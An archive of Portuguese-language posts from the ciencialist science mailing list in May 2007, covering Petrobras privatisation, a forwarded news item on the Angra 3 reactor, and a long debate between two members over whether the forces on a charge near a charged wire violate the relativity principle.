aumentar as chances de vencer o oponente, basta usar a sua assessoria de
marketing e sustentar que o “inimigo” irá privatizar uma daquelas, como
aliás aconteceu em relação à Chesf, aqui neste rincão nordestino. Sendo tudo
uma mentira muito bem posta e competente. E governo algum pode prescindir
de uma arma – sim, é isto, também – como a que representa a gigante e bem
arrumada Petrobrás, bem como as últimas empresas citadas.

Já basta o que fazem os nossos políticos com nosso dinheirinho, que quase
falta. Quanto ao que a Bolívia fez, deveria ir para a cadeia todos os daqui
que facilitaram a empreitada nacionalizadora do seu nobre e azogado
presidente, que só faltou empunhar seu arco de flecha, e brandir seu tacape,
aliás, este foi brandido, para nos espetar e nos roubar. Por ser um país
pobre e merecer uma ajudinha, teve o beneplácito e complacência de alguns de
nossos gestores máximos. No mínimo uma omissão conveniente. Tudo bem, se o
estupro é inevitável, deve-se relaxar e revirar os oinhos, como diz o
ditado. Mas medidas proa-ativas, junto a órgãos internacionais, isto deveria
ter sido feito. Inclusive o valor que ofereceram, e tenho dúvidas se um dia
receberemos, bem como nossa contra proposta, foram ridículas.

Bem, antes de por um ponto final nesse lenga-lenga, devo dizer que uma boa
parte do texto acima exprime apenas minha opinião pessoal, baseada no meu
achômetro, naqueles sentimentos e impressões que às vezes somos tentados a
assumi-los como verdadeiros, mesmo que não haja uma base decidamente
objetiva. Mas não creio que esteja muito afastado da estrada não. Assim
como nós, são as criaturas, com suas manias e seus doidos associados.



Sds,

Victor.







De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Joao de Carvalho
Enviada em: domingo, 13 de maio de 2007 02:58
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Por quanto venderíamos a Petrobrás?



Por que preço deveríamos vender a Petrobrás caso o governo decidisse
privatizada? Em 2004 o valor da Petrobrás era 42 bilhões. Em 2005
saltou para 72 bilhões. Ela agora parece estar superando 110 bilhões
de dólares. A Exxon vale 411 bilhões, e é uma das maiores empresas do
mundo. A Microsoft vale uns 300 bilhões. A Google cresceu
meteoricamente para mais de 150 bilhões. A Vale do rio doce vale uns
50 bilhões. Por quanto o governo deveria vender sua parte da
Petrobrás? Acho que uns 200 bilhões estaria bom. Só que por esse
preço acho que ninguém iria querer comprar.

João de Carvalho





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] O Que é Raciocinar? ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/05/2007 09:13

Luiz,

Uso a palavra cérebro apenas como referencia cientifia
(e fisica). Uso para não usar a palavra "mente" que
remete a algo imaterial. Mas enfim, onde estiver
"cérebro" no texto vc pode trocar por "sistema
nervoso", e ai acabam-se os seus problemas e a
nessecidade de ficar me policiando.


sinceramente
ferrari






--- Luiz Ferraz Netto <leobarretos@uol.com.br>
escreveu:

> Diz Ferrari (sim, apenas diz, é o que mais gosta de
> fazer):
>
>
> Olá Homero!
>
> > Pois eu vi ontem à noite na TV um baterista de
> rock
> > "raciocinando" como louco, ao bater em seu
> > instrumento, e produzir ondas de ar adoidado..:-)
> > Afinal, "raciocinar é fazer ondas na matéria (no
> > meio) que se propagam"..:-)
>
> --- Outro bom exemplo! Como tocar bateria sem um
> cérebro controlando os movimentos do corpo? Como
> manter o ritmo sem um cérebro controlando os
> movimentos do corpo? É possivel?
>
> Léo: Claro que é possível! E nosso sistema autônomo?
> A respiração, o piscar, o coração etc., necas de
> cérebro envolvido! O duro é que vc vai por na sua
> cabeça que "raciocinar é fazer ondas na matéria (no
> meio) que se propagam" e vai encher o saco
> filosófico de buteco até esgotar nossa paciência com
> exemplos cada vez mais bobo. É só ver as suas
> sequencias e veremos como é assim. Ferrari, leia um
> pouquinho alguma coisa útil e deixe essa filosofia
> de buteco para as reuniões de buteco.
>
> Bem, nem vou ler ai prá baixo porque será turronice
> de insistência sem qqer estrutura científica.
>
> aquele abraço,
>
> Léo
> ++++++++++++++++++
>
> --- E o mais interessante neste exemplo, é que
> musica
> (a parte do ritmo), é divisão temporal. Ou seja, o
> cérebro de um baterista é um cérebro perito em fazer
> ondas temporais no meio.
>
> --- Vou aproveitar o exemplo e contar um história
> interessante sobre o raciocinio, as ondas e a
> musica.
>
> --- Sou musico. E tenho alguns amigos musicos. Um
> deles, certa vez, foi estudar violão numa escola de
> São Paulo especializada em Swing. Pra ilustrar, um
> dos
> idolos do professor da escola é o Jorge Benson. Bem,
> a
> primeira coisa estranha que descobri sobre esta
> escola
> é que meu amigo foi estudar violão e teve que
> aprender
> a tocar bateria primeiro. Passou um tempão estudando
> bateria antes de pegar no violão. Segundo o
> professor
> desta escola, para ser um bom musico, primeiro é
> preciso dominar o raciocinio ritmico pra depois
> dominar o raciocinio melódico. A segunda coisa
> estranha aconteceu no dia em que meu amigo me levou
> pra conhecer a escola. A escola tinha um ambiente
> muito agravavel, todo mundo ali gostava muito
> daquela
> filosofia de estudo, mas os violões eram um lixo.
> Eram
> uns violões ruins e detonados. Peguei um pra tocar e
> achei aquilo muito estranho. Perguntei pro meu amigo
> e
> ele falou que aquilo era proposital. Quando tive a
> oportunidade de conversar com o professor dele,
> perguntei dos violões. E o cara me fez ver algo que
> nunca mais me esqueci, ele disse: "voce toca violão
> com a mão ou com a mente? de onde vem a sua musica,
> do
> violão?".
> sinceramente
> ferrari
> ++++++++++++++++
> Então prá que violão? Use apenas a mente! Engesse a
> mão do cara e peça para ele executar com a mente!
> Simples não?
>
> Báááá.......
>
>


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SUBJECT: RES: [ciencialist] transcrevo:
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 09:23

Léo e demais moderadores,



Há pouco enviei uma mensagem como retorno de outra do João, sobre política.
Sabe que, após terminar o texto, que não era para enviar, só para exercitar,

não me toquei e puxei o gatilho “enviar”? Peço minhas sinceras desculpas
pela gafe. Espero que dê algum tilde aí no Yahoo! e a tal não chegue.

Também ninguém pé perfeito...

Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: domingo, 13 de maio de 2007 08:34
Para: ciencialist@yahoogrupos.com.br; redeliberal@yahoogrupos.com.br;
politicab@yahoogrupos.com.br; paucor@superig.com.br;
noosfera_II@yahoogrupos.com.br; Inovação Tecnológica; Grupo de Debates
Políticos Brasileiro; Acropolis_@yahoogrupos.com.br
Cc: Conversa_de_Botequim@yahoogrupos.com.br
Assunto: Re: [ciencialist] transcrevo:



Isso é política, bem de acordo para a lista politicab@yahoogrupos.com.br
<mailto:politicab%40yahoogrupos.com.br> , Grupo de Debates Políticos
Brasileiro etc.
Será que não conseguem discernir para que listas devem enviar os textos
pertinentes? É tão difícil assim?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Silvio Cordeiro" <scordeiroes@superig.com.br
<mailto:scordeiroes%40superig.com.br> >
Para: <redeliberal@yahoogrupos.com.br
<mailto:redeliberal%40yahoogrupos.com.br> >; <politicab@yahoogrupos.com.br
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<mailto:paucor%40superig.com.br> >; <noosfera_II@yahoogrupos.com.br
<mailto:noosfera_II%40yahoogrupos.com.br> >; "Inovação Tecnológica"
<eboletim@inovacaotecnologica.com.br
<mailto:eboletim%40inovacaotecnologica.com.br> >; "Grupo de Debates
Políticos Brasileiro" <brasil-politica@grupos.com.br
<mailto:brasil-politica%40grupos.com.br> >; <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >; <Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br> >
Cc: <Conversa_de_Botequim@yahoogrupos.com.br
<mailto:Conversa_de_Botequim%40yahoogrupos.com.br> >
Enviada em: sexta-feira, 11 de maio de 2007 12:40
Assunto: [ciencialist] transcrevo:

Ministro de Minas e Energia garante: Angra 3 vai sair

Ministro Silas Rondeau diz que a decisão sobre quando a usina será
construída deverá ser tomada pelo CNPE em junho

Leonardo Goy escreve para "O Estado de SP":

A usina nuclear de Angra 3 vai ser construída, afirmou o ministro de Minas e
Energia, Silas Rondeau, nesta quarta-feira.

"A questão é definir quando", acrescentou, durante seminário sobre energias
renováveis promovido pela Câmara dos Deputados. A decisão final sobre a
construção de Angra 3 deverá ser tomada pelo Conselho Nacional de Política
Energética (CNPE), que deverá se reunir em junho.

O tema divide o governo. Além de Rondeau, o ministro da Ciência e
Tecnologia, Sergio Rezende, e a ministra-chefe da Casa Civil, Dilma
Rousseff, são a favor do projeto.

Há, porém, oposição da ministra do Meio Ambiente, Marina Silva. O CNPE
também poderá discutir o dilema entre a construção de usinas hidrelétricas e
a proteção ao meio ambiente.

O ministro lembrou que para tomar a decisão sobre Angra 3 será necessário
adequar a legislação do setor elétrico de forma a definir como será vendida
a energia produzida pela usina.

Ele ressaltou que as usinas nucleares de Angra 1 e 2 foram construídas numa
época em que o modelo era totalmente estatal.

Angra 3, por ser uma usina nuclear, terá de ser construída pelo governo. A
questão pendente é como a energia dela será ofertada. "Não pode ser por
leilão, pois é uma obra do governo. Então temos de adequar à legislação",
disse ele.

Indagado se o Banco Nacional de Desenvolvimento Econômico e Social (BNDES)
financiaria parte da construção de Angra 3, Rondeau disse que não sabe, mas
presume que sim.

Biodiesel

Rondeau disse, ainda, que, desde o fim de abril, o País tem capacidade de
produzir o biodiesel necessário para garantir a mistura de 2% em todo o
diesel vendido no país. Essa exigência entrará em vigor em 2008.

A capacidade total do país foi ultrapassada, com segurança, com a
autorização, em 30 de abril, para que a usina da Brasil Ecodiesel, em São
Luiz, entre em operação. Essa usina tem capacidade de produzir 108 milhões
de litros por ano.

Com isso, a capacidade total do País chega a 962 milhões de litros por ano,
superando, com folga, os 840 milhões de litros necessários para que a
mistura de 2% possa começar a partir do ano que vem.
(O Estado de SP, 10/5)

[As partes desta mensagem que não continham texto foram removidas]

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 09:44

Oi Victor,

vou contestar tudo que vc disse e dar os argumentos pertinentes. Apenas aguarde para a continuação da leitura do texto onde vou citar as três possibilidades.

Todavia, já contestando, vou apontar uma 'falhazinha' no seguinte texto de sua argumentação:

>"Mas um campo magnético devido a uma corrente I numa dada direção é
concêntrico à direção da corrente, sendo, portanto, perpendicular ao
segmento R, saindo do papel ou entrando no papel onde R está desenhado, esse
mesmo R que liga o centro de L ao ponto onde está Q; mas somente se fosse o
caso de haver movimento relativo entre eles. Que, evidentemente, não há.
Assim, a força resultante sobre Q seria o resultado de uma composição
vetorial entre Fm e Fe, e não resultante de operação escalar, como foi feito
acima, pois Fm e Fe seriam perpendiculares e não colineares, como se
depreende da proposição inicial."

Aqui vc se esqueceu de um fato: Vc tem duas mãos! E vc usou uma só; a regra da mão direita para achar a direção e sentido do campo magnético B. OK, o campo B produzido pela corrente I em L, na posição de Q, é "saindo do papel", perpendicular à direção R. OK.
Agora vamos usar a outra mão, a esquerda (lembra dela :-)) e colocar o indicador no sentido de B (saindo do papel), o dedo médio no sentido de v (para baixo) e teremos como resultado a força de Lorentz Fm para "dentro", dirigida para L e, portanto, diretamente oposta à Fe; dai F = Fe - Fm (logo, uma mera operação escalar; Fe e Fm são colineares).

Agora vou preparar a continuação do texto e ... pode tirar o cavalinho da chuva, pois há movimento relativo entre Q (para baixo) e o CAMPO B (estacionário, pois B se repete identicamente em todos os pontos). Quem age sobre Q (móvel) é B (fixo) e não a corrente I ou o fio infinito com distribuição uniforme de cargas em movimento.

Isso é só para amaciar! :-))

Té mais, vou aumentar meu texto ..........

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 12 de maio de 2007 17:36
Assunto: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida

O retorno a seguir está meio longo, devido ao nível de detalhamento que
coloquei. E o fiz pensando nos ciencialisteiro que não física em seu dia a
dia, mas que têm curiosidade ou interesse nessas coisas, e se dispõem a ler,
honrando nossos esforços.

Espero que não tenha ficado enfadonho demais.

[ ... ]




SUBJECT: Re: [ciencialist] Por quanto venderíamos a Petrobrás?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 09:46

Tente perceber que isso é postagem sobre POLÍTICA .... faça uma forcinha, não é tão difícil!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 13 de maio de 2007 02:57
Assunto: [ciencialist] Por quanto venderíamos a Petrobrás?


Por que preço deveríamos vender a Petrobrás caso o governo decidisse
privatizada? Em 2004 o valor da Petrobrás era 42 bilhões. Em 2005
saltou para 72 bilhões. Ela agora parece estar superando 110 bilhões
de dólares. A Exxon vale 411 bilhões, e é uma das maiores empresas do
mundo. A Microsoft vale uns 300 bilhões. A Google cresceu
meteoricamente para mais de 150 bilhões. A Vale do rio doce vale uns
50 bilhões. Por quanto o governo deveria vender sua parte da
Petrobrás? Acho que uns 200 bilhões estaria bom. Só que por esse
preço acho que ninguém iria querer comprar.

João de Carvalho




SUBJECT: Re: RES: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 09:49

De: "murilo filo"

>Não explicou e nem vai explicar.
Só mostrou o mecanismo.
A intuição está além da pura intelectualidade e da emoção.
Vem bem mais de dentro, coisa que os gringos ainda vão explicar -
racionalmente.
Vc tem intuição? Tem coisa melhor?<

Sim, a concretização da intuição.

[]'
Léo



SUBJECT: RES: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 09:51

Léo,

Relendo o texto anterior, descobrir uma informação que dei simplesmente
indevida. Desconsidere, pois o texto anterior a este.
Vale este, onde eliminei o trecho que que tem um furo, substituindo-o
adequadamente.

Se as cargas em L e Q estivessem em movimento relativo, um em relação ao
outro, as forças de somariam

como você apontou mesmo. Portanto, você e os demais listeiros podem
deletar o texto anterior, e considerar

este, para efeito das pauladas.

Os deuses erram, quanto mais os querubins!.

Sorry!

Sds,

Victor.



De: J.Victor [mailto:j.victor.neto@uol.com.br]
Enviada em: sábado, 12 de maio de 2007 17:37
Para: 'ciencialist@yahoogrupos.com.br'
Assunto: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida







De: J.Victor [j.victor.neto@uol.com.br]

Enviado em: quinta-feira, 10 de maio de 2007 16:47

Para: 'ciencialist@yahoogrupos.com.br'

Assunto: RES: [ciencialist] Preciso fazer uma
pergunta, pois estou c/ uma duvida



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: quinta-feira, 10 de maio de 2007 11:15
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma
duvida



Léo,



O retorno a seguir está meio longo, devido ao nível de detalhamento que
coloquei. E o fiz pensando nos ciencialisteiro que não física em seu dia a
dia, mas que têm curiosidade ou interesse nessas coisas, e se dispõem a ler,
honrando nossos esforços.

Espero que não tenha ficado enfadonho demais.



........
Léo: Além disso, não concordo o o 'status' que vc dá à lei de Coulomb e seus
derivados. Aliás, estou desenvolvendo um texto justamente comentando como as
leis da eletricidade violam o princípio da relatividade. O que um observador
em 'repouso' vê de eletrostática numa questão não é o que vê um observador
em movimento.

Victor: Farei uns comentários ao seu texto, então. Pois discordo de você
neste mister. Intreiramente.


Léo: Eis a parte do texto já pronta: (onde está r leia-se 'rö', p leia-se
'pi' e m leia-se 'mü')

Victor: Ok.
+++++++++++++++++++
Léo: O Principio da Relatividade
A Velocidade é relativa
Galileu propôs, como um princípio geral de simetria, que as leis da Física
deveriam ser as mesmas para qualquer observador que se mova a uma velocidade
constante, qualquer que seja a direção, sentido e o módulo dessa velocidade.
Em outras palavras, não deve haver nenhum sistema de referência preferencial
nem nenhuma maneira de determinar uma velocidade absoluta. Esta simetria
geral é chamada de princípio da relatividade.
É claro que Galileu e Newton se certificaram de que suas leis da mecânica
clássica obedeciam ao princípio da relatividade.

Victor: Ok.


Léo: Contudo, a menos que se façam algumas mudanças na Física que
apresentamos no Ensino Médio, as leis da eletricidade violam o princípio da
relatividade. Um observador em "repouso" e um em movimento obterão duas
predições teóricas diferentes para a mesma experiência.

Victor: Não é assim. Se algo do tipo acontecer, das duas uma, e só pode
ser uma: ou a teoria está errada; ou faltou algum detalhe da tal que não foi
levado em consideração na análise.

A TR está correta, com a mera precisão de somente uma parte em 10^14.

(Você sabia que, para Newton, sua teoria estava correta em uma parte 10^3,
apenas? E hoje sabemos que Newton enganou-se. Sua teoria está correta, em
muito mais: uma parte em 10^7 ?).


Léo: Como ilustração, vamos considerar o exemplo simples de uma carga
puntual Q a uma distância R de um fio carregado com r statcoulombs por
centímetro como mostra a Fig.1.

Fig.1- Carga puntual Q a uma distância R de um fio carregado com r C/m.
Fig.2- A Fig.1 vista por um observador que se move com velocidade v para
cima.

A força sobre Q é Fe = QE onde E = 2r/R é o valor do campo elétrico da
distribuição Q no ponto do espaço que dista R (veja adendo 1 "campo
originado por cilindro uniformemente eletrizado").

Victor: 1) Eu não vi sua Fig.1, mas imagino que se trata de uma linha de
comprimento L, com uma carga de densidade linear, de valor r(C/m),
distribuída. E que você considerou
que a distância R entre a carga Q e o centro dessa linha de cargas é muito,
muito maior que o comprimento L da linha. Pois no denominador da expressão
de E, na direção escolhida, comparece a raiz quadrada da soma dos quadrados
de L e R. L, então, desaparece, em comparação com R, o que
justifica a fórmula acima.

2) As cargas no fio L são estacionárias. O fio está em repouso em relação à
carga Q, alocada a R (m) do centro de L, que, obviamente, também está em
repouso em relação a L. Ou seja, L e Q estão em repouso, um em relação ao
outro. Estou supondo que você supôs isso, pois é que se depreende de sua
linha de raciocínio. Estou certo? Se sim, vamos em frente.

Léo: Portanto, Fe = 2Qr/R ... eq.1, para um observador em repouso.

Victor: Ok.


Léo: Consideremos agora um segundo observador que se move paralelamente ao
fio à velocidade v como mostra a Fig.2. Além da força eletrostática acima Fe
(eq.1) este observador mediria também uma força magnética Fm . Ele vê uma
corrente elétrica I = rv movendo-se ao longo do fio e uma carga Q movendo-se
também paralelamente ao fio à velocidade v.

Victor: Segundo entendi(e não vi sua Fig.2), você diz que, de acordo com o
observador (S1), que se move com velocidade v em relação ao fio L, sobre
Q surge uma força magnética, Fm, devida à distribuição de carga nesse mesmo
fio de comprimento L e carga r (C/m).
Nesse caso, e para facilitar esta exposição, consideremos o observador S1 em
repouso e o fio L movendo-se em relação a ele, com velocidade (–v). Dará
no mesmo, do ponto de vista da análise. A carga teste, Q, contudo, se
mantém em repouso em relação a L, embora o observador S1 a veja em
movimento, com a MESMA velocidade (–v) de L, já que sua situação é
estacionária em relação a L, conforme premissa inicial.
O ponto, então, é este: o observador S1 vê L e Q movendo-se com a mesma
velocidade (-v) em relação a ele. Ou seja, ele próprio, S1, poderá
concluir o que um observador S fixo a L ou Q concluiria: que Q,
efetivamente, se encontra em repouso em relação a L. Vice-versa.
Como era para ser mesmo, pois esta é uma condição imposta pelo enunciado do
problema, conforme inferí de seu enunciado.


Léo: Como sabemos, a força magnética sobre uma carga Q é Fm = Qv/c X B. O
campo magnético B produzido por uma corrente circulando em linha reta é B =
2rv/(cR). Portanto, Fm = Qv/c X 2rv/(cR) = (2rQ/R)(v2/c2) é a força
magnética.

Victor: Bem, aquí, você afirma que a força magnética da distribuição de
cargas em L, agora em movimento, sobre Q, é Fm = Q(v/c) x B.

Mas não é!

Q não está em movimento em relação à carga do fio L! Q está em repouso em
relação a L.
O v da fórmula acima refere-se ao movimento relativo ENTRE as cargas! No
caso em foco, como já foi comentado, L e Q são vistos, pelo agora
observador inercial em repouso relativo, S1, movendo-se em conjunto, ambos
com a mesma velocidade (-v) pelo que S1 pode concluir, portanto, que L e Q
estão em repouso, um em relação ao outro, o que é confirmado por um
referencial S ligado à carga Q ou ao fio L.
Da mesma maneira que um observador terrestre concluí que todos os corpos
caem do mesmo jeito em queda livre, pois não vê a pedra pesada andar mais
rápido que a pedra maneira. Se no momento em que a corda do elevador é
cortada, as duas estão lado a lado, após o corte, as duas continuarão assim.
Uma verá a outra repouso. Vice-versa. Um observador na terra verá as duas
caindo, mas juntas, lado a lado. Como inteligente e genialmente concluiu
Galileo. (Claro que não estou levando em consideração os efeitos de maré,
e estou considerando o elevador como local e muito pequeno, tal qual, nele,
g aproximadamente constante. (Como deve ser, quando se pensa corretamente
no Princípio da Equivalência).
Assim não pode haver forças magnéticas entre eles, L e Q, conforme a mesma
fórmula que você expôs: pois a velocidade relativa em L e Q é zero, pelo
que Fm será igualmente zero. Seja do ponto de vista do observador em
questão, S1, seja do ponto de vista de um observador S ligado ao próprio L
ou a Q. É o que sentencia a sua expressão matemática. Contudo, S1 observa,
sim, campos magnéticos devido ao conjunto de cargas. Mas isso é outra
questão e não tem relação com a proposição inicial. Sobrevive, contudo, a
interação eletrostática entre L e Q, conforme a primeira equação que você
colocou acima, calculada por um observador em repouso em relação a L e a Q.
E o que é campo eletrostático para um observador, é campo magnético para
outro. Coisa que acontece de maneira natural. Do ponto de vista prático e
energético, o dinheiro gasto será o mesmo, tanto do ponto de vista de um,
como do ponto de vista do outro.

Adicionalmente, acrescento que, se L e Q estiverem em movimento relativo,
entre si, poderemos calcular as forças supervenientes, que existem
efetivamenente, sendo os valores dessas forças diferentes, de referencial
inercial a referencial inercial, mas absolutamente equivalentes, pois são
conversíveis umas nas outras, mediantes as TL.

Mas não é este o caso. Contudo, se todos os observadores estiverem à mesma
velocidade relativa entre as cargas, os valores que obtêm serão exatamente
iguais Como requer a natureza, muito bem expressa pelos postulados da
relatividade(PPR) e o PE.

Resumindo: A expressão para a força magnética, acima, refere-se ao caso onde
há movimento ENTRE as cargas, e não entre estas e qualquer observador. Se
elas estiverem inicialmente em repouso, assim continuarão. Não é um
observador enxerido qualquer vai mudar isso. O papel de um referencial é
meramente facilitar a observação e a medição.


Léo: [Nota: Estamos trabalhando no Sistema CGS Eletrostático (onde comparece
c). Para transferir para o Sistema Internacional de Unidades basta fazer c =
4p/m e tomar r em C/m.]

Victor: Ok.


Léo: Essa força atrativa magnética deve ser adicionada à força repulsiva
eletrostática. Portanto o observador em movimento calcula a força resultante
como sendo
F = Fe - Fm = 2Qr/R - (2rQ/R)(v2/c2) = 2Qr/R(1 - v2/c2) (Léo)
para um observador que se move à velocidade v.

Victor: (O trecho referente a este tópico foi eliminado). Ficou muito
abusado e...equivocado. Em seu lugar, comento apenas o seguinte:

Existiria uma força sobre Q, F = Fe-Fm, se a velocidade relativa entre L e
Q fosse diferente de zero.
Na fórmula Fm = Fm = Qv/c X B =(2rQ/R)(v2/c2), v é a velocidade relativa
entre as cargas, que inexiste no problema em questão. Aliás, no desenho do
link que forneceu há pouco, isto fica bem claro.


Léo: Numericamente, é um fator (1 - v2/c2) menor que o resultado (Eq.1)
obtido por um observador estacionado.
Observe que se v<<<c, o fator (1 - v2/c2) torna-se unitário e a força
resultante será F = 2Qr/R = Q.E, tipicamente eletrostática.
Assim, é claro que as leis da eletricidade dão resultados diferentes em
sistemas de referência diferentes.

Victor: Não. Não é sequer claro, isso. Sistemas de referência diferentes
devem produzir ou mesmos resultados: os valores podem não ser idênticos,
mas serão absolutamente semelhantes; pois as leis da física são as mesmas
para todos os referenciais e as equações que representam essas leis devem
ter a mesma forma, quaisquer que sejam estes referenciais. Um valor
numérico obtido em um terá o mesmo significado, a mesma validade e o mesmo
efeito que outro valor numérico obtido em outro, para o mesmo fenômeno
físico, devendo haver seguramente alguma transformação que faça a devida
conversão de um no outro. No caso, tal transformação existe e são as TEL,
ou Transformações de Einstein-Lorentz. Se você tiver de gastar dinheiro
para implementar dado projeto, você não conseguirá gastar menos simplesmente
implementado o projeto sob a consideração de referenciais diferentes.
Pois, do ponto de vista das leis de conservação do momento e da energia, que
é o que se paga, os efeitos serão sempre os mesmos.
Inexoravelmente.

No caso do eletromagnetismo, suas leis já são, naturalmente, covariantes,
segundo as TEL. Em relação às de Galileo, não.

Léo: Contudo, de acordo com o princípio da relatividade de Galileu na
mecânica clássica, a força ou aceleração sobre Q deve ser independente da
velocidade do observador. Como conciliar isso?

Victor: Correto. Qualquer fenômeno físico independe de qualquer sistema
de referência. Não é possível imaginarmos que as leis da física sejam umas
aqui em meu apartamento e outras quando estou viajando num avião. O que eu
concluir aqui será exatamente o que alguém concluí num avião em movimento,
ambos fazendo os mesmos experimentos.


Léo: É assim, fácil observar, que o princípio da relatividade de Galileu que
funciona para a mecânica clássica é inconsistente com as equações de
Maxwell. Para resolver esta contradição, o princípio da relatividade, ou as
equações de Maxwell, ou a mecânica clássica devem ser revistos.

Victor: É claro que qualquer teoria pode ser revista, desde que fatos novos
surjam, a qualquer tempo. O que agora comentamos, contudo, não são fatos
novos.

Em vista do exposto, as suas conclusões e todas as demais, em relação à
proposição inicial, perdem inteiramente o sentido.

Não há, assim, a inconsistência apontada.


Léo: Vamos considerar agora as seguintes 3 alternativas:

Victor: As 3 alternativas acima se reduzem, pois, a esta: nenhuma.
Pois está tudo ok, como manda o figurino Relativista ou mesmo Newtoniano.


Léo: Talvez hoje pela tardinha eu complete esse 'nabo' e tire a virgindade
coulombiana.

Victor: Sorry, mas a mocinha coulombiana continuará “cabaço”, por outros
bons séculos. Mesmo numa época dessas, na qual, se Henrique V gritasse:
“meu reino por um cabaço”, estaria roubado e mal pago. Inapelavelmente.
Devido à raridade dessas preciosidades, ao menos nas faixas permitidas.

Sds,

Victor.


===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br <mailto:j.victor.neto%40uol.com.br>
>
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: quinta-feira, 10 de maio de 2007 10:45
Assunto: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma duvida

Caro Léo,

Acho que, numa primeira investida, está ok. Mas eu não diria algo assim:
"...e então a 'tradicional' lei

de Coulomb deve sofrer alterações (por vezes, sérias alterações!).", pois
daria a impressão

de que deveria haver alteração na estrutura mesma da lei. E não é assim. O
que acontece é

que, numa situação dessas, aliás comum, a aplicação da Lei de Coulmb, que é
essencialmente puntual, fica difícil, trabalhosa, exigindo maiores esforços
para sua correta aplicação. Pois a carga agora apresenta-se distribuída ao
longo do corpo, pelo que não poderemois mais desprezar as diferenças entre
as distâncias de cada uma à uma carga de teste infinitesimal. Torna-se
necessário, com vistas à Lei de Coulomb, que ela seja dividida em cargas
infinitesimais, seja considerado o efeito de cada dq sobre a carga teste,
como se os outros dq's não existisssem e depois somado tudo, pois vale o
notável e simplificador, como simples é a natureza,

Princípio da Superposição. O efeito global de todos os dq é a soma, ou
integração dos efeitos de cada uma. Para tais objetivos, a natureza diz:
olha, considera que a carga A(puntal) não exista, e calcule o efeito
elétrico sobre a carga de teste devido somente à carga B(puntual). Depois,
considere que B não existe e calcule o efeito elétrico da A sobre a mesma
carga de teste. Depois some tudo, misture tudo, integrando(para dizer
melhor). Ou seja, a matemática a ser usada será mais elaborada, deverá
cansar a munheca, após a trabalheira para encontrar o efeito de cada carga,
como se as outras não existissem.

Mas, a lei, em si, continuará a mesma, não sofrerá alterações de qualquer
natureza.

Outro fato notável é que valem, também na eletrostática, os seguintes
teoremas, aplicáveis à gravitação, para corpos esféricos, o que simplifica
magistralmente os problemas, nos casos de configurações esféricas:

1 - Uma casca esférica uniformemente carregada atrai ou repele uma partícula
carregada exterior como se toda a carga da casca estivesse concentrada em
seu interior; e,

2) Para uma partícula que esteja em seu interior, a casca esférica
uniformemente carregada não exerce sobre ela qualquer força eletrostática.
(Isto é aproveitado na prática como blindagem eletrostática).

Aliás, seria interessante que a menina Claodinice fosse informada, também,
de que:

a) a lei de força gravitacional, devida a Newton, é a mesma lei de
força na eletrostática, devida a Coulomb, mudando apenas as grandezas e
constantes associadas aos fenômenos específicos; e,

b) A Lei de Coulomb nunca foi violada, sob qualquer aspecto. Ainda
está "cabaço", como se diz. Até mesmo onde as leis de Newton falham
estrondosamente, a Lei de Coulomb surge vitoriosa e risonha, brandindo sua
espada reluzente e afiada, precisa e eficientemente. Como é o caso das
cargas num átomo.

Sds,

Victor.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Novo arquivo carregado em ciencialist
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 09:51

A figura no arquivo está ótima. Estou examinando o funcionamento dos três osciladores em defasagem e algo sobre os transistores de Q1 a Q6.

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
